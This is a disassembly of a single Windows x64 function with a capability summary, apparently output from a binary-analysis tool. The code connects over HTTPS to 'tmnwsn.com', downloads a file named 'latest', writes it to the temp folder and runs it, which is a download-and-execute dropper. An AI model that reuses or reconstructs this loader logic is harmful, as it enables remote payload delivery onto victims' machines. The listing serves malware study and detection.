Function at 0x140001000
Capabilities:
Connect to http server
Create http request
Create process on windows
Download and write a file
Get common file path
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
sub rsp, 0x288
xor r15d, r15d
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor ecx, ecx
lea edx, [r15 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
jne 0x140001052
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x14000103f
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
jmp 0x140001384
mov qword [rsp + 0x38], r15
lea rdx, str.tmnwsn.com
mov dword [rsp + 0x30], r15d
mov r8d, 0x1bb
mov dword [rsp + 0x28], 3
xor r9d, r9d
mov rcx, rbp
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x268], r14
call qword [sym.imp.WININET.dll_InternetConnectA]
mov r14, rax
test rax, rax
jne 0x1400010b7
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1400010a4
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
jmp 0x140001373
mov qword [rsp + 0x38], r15
lea r8, str.latest
mov dword [rsp + 0x30], 0x80800000
lea rdx, [0x14000214c]
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov rcx, r14
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x270], rdi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rdi, rax
test rax, rax
jne 0x14000111d
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x14000110a
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
jmp 0x140001362
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x14000115c
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x140001149
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
jmp 0x140001359
lea rax, [rsp + 0x2a8]
mov dword [rsp + 0x2b0], 4
lea r9, [rsp + 0x2b0]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x2a0]
mov dword [rsp + 0x2a8], r15d
mov edx, 0x20000005
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x140001137
mov edx, dword [rsp + 0x2a0]
xor ecx, ecx
mov r8d, 0x3000
mov qword [rsp + 0x278], rsi
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x1400011ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1400011d9
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
jmp 0x140001351
mov r8d, dword [rsp + 0x2a0]
lea r9, [rsp + 0x40]
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x14000122e
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x14000121b
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
jmp 0x140001340
lea rdx, [rsp + 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [rsp + 0x2b8], eax
test eax, eax
je 0x140001209
lea r8, [rsp + 0x2b8]
mov rcx, rdi
lea rdx, [rsp + 0x50]
call fcn.1400013a0
test eax, eax
jne 0x140001340
mov qword [rsp + 0x30], r15
lea r8d, [rax + 5]
mov dword [rsp + 0x28], r15d
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov qword [rsp + 0x280], rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001318
mov r8d, dword [rsp + 0x2a0]
lea r9, [rsp + 0x44]
mov rdx, rsi
mov qword [rsp + 0x20], r15
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400012ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1400012d4
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001338
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x28], r15d
lea r8, [rsp + 0x50]
mov qword [rsp + 0x20], r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x20
jg 0x140001338
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x14000132a
movzx eax, ax
or eax, 0x80070000
mov edx, eax
lea rcx, str.Internal_error_
call fcn.140001640
mov rbx, qword [rsp + 0x280]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rsp + 0x278]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rdi, qword [rsp + 0x270]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r14, qword [rsp + 0x268]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]